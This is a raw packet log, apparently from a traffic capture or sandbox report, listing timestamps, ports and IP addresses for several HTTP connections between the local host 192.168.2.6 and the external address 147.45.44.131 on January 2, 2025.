Jan 2, 2025 19:14:17.825129032 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825134993 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825145006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825151920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825160980 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825161934 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825170994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825177908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825186014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825195074 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825217962 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825223923 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825261116 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825265884 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825270891 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825279951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825287104 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825292110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825306892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825314999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825320959 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825330019 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825335979 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825337887 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825344086 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825345039 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825346947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825357914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825365067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825371981 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825373888 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825377941 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825385094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825413942 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825416088 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825419903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825427055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825433016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825438976 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825438976 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825443983 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825445890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825496912 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825520992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825524092 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825526953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825532913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825539112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825545073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825550079 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825556040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825581074 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825581074 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825618029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825624943 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825630903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825642109 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825648069 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825653076 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825676918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825681925 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825690031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825699091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825707912 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825716972 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825717926 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825726032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825728893 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825771093 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825794935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825802088 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825808048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825819969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825828075 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825834990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825845003 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825865030 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825865030 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825865030 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825911999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825921059 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825930119 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825969934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825973034 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825974941 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825975895 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825984001 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825989962 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825995922 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826001883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826006889 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826008081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826014042 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826020956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826026917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826035976 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826036930 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826061964 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826067924 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826075077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826078892 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826085091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826090097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826095104 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826100111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826106071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826117992 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826118946 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826118946 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826144934 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826145887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826153994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826159000 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826164007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826183081 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826186895 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826215029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826220989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826227903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826231956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826237917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826244116 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826255083 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826256037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826263905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826270103 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826284885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826291084 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826294899 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826309919 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826334000 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826353073 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826358080 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826363087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826374054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826379061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826385021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826386929 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826390982 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826396942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826409101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826416016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826421976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826422930 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826422930 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826426983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826441050 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826448917 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826453924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826466084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826471090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826474905 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826478004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826514959 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826553106 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826554060 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826560020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826566935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826577902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826584101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826586962 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826589108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826596022 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826601982 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826606989 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826617956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826623917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826626062 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826626062 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826634884 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826641083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826652050 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826658010 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826662064 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826664925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826693058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826704979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826709986 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826716900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826718092 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826723099 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826729059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826755047 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826764107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826772928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826778889 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826786041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826787949 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826864004 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826910973 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.826968908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826976061 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826982021 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.826992989 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827019930 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827044010 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827050924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827056885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827063084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827069044 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827075005 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827080011 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827086926 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827092886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827095032 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827100039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827101946 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827104092 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827106953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827114105 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827126026 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827128887 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827135086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827141047 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827146053 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827147007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827152967 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827158928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827162981 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827167034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827181101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827187061 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827193022 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827199936 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827200890 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827208042 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827214956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827220917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827267885 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827267885 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827267885 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827368021 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827409983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827415943 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827434063 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827467918 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827555895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827569962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827577114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827588081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827594042 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827599049 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827605963 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827611923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827622890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827629089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827634096 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827640057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827732086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827744007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827750921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827756882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827761889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827761889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827761889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827761889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827766895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827775955 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827785969 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827788115 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827797890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.827838898 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.827838898 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828042984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828049898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828057051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828062057 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828068018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828080893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828123093 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828123093 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828154087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828159094 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828165054 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828176022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828181982 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828186989 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828188896 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828192949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828218937 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828303099 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828303099 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828341961 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828342915 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828341961 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828358889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828366995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828371048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828382969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828388929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828394890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828413963 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828418970 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828478098 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828478098 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828603029 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828608990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828614950 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828624964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828632116 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828645945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828651905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828674078 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828690052 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828696012 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828706980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828712940 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828717947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828726053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828732014 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828742981 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828748941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828754902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828769922 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828771114 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828771114 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828771114 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828808069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.828809977 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.828814983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.829446077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.829452038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.829458952 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.829483032 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.829509020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.829514980 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.829520941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.829533100 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.829539061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.829544067 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.829725981 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.842549086 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842597008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842643023 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842648983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842655897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842662096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842689991 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.842717886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842761993 CET	49726	80	192.168.2.6	147.45.44.131
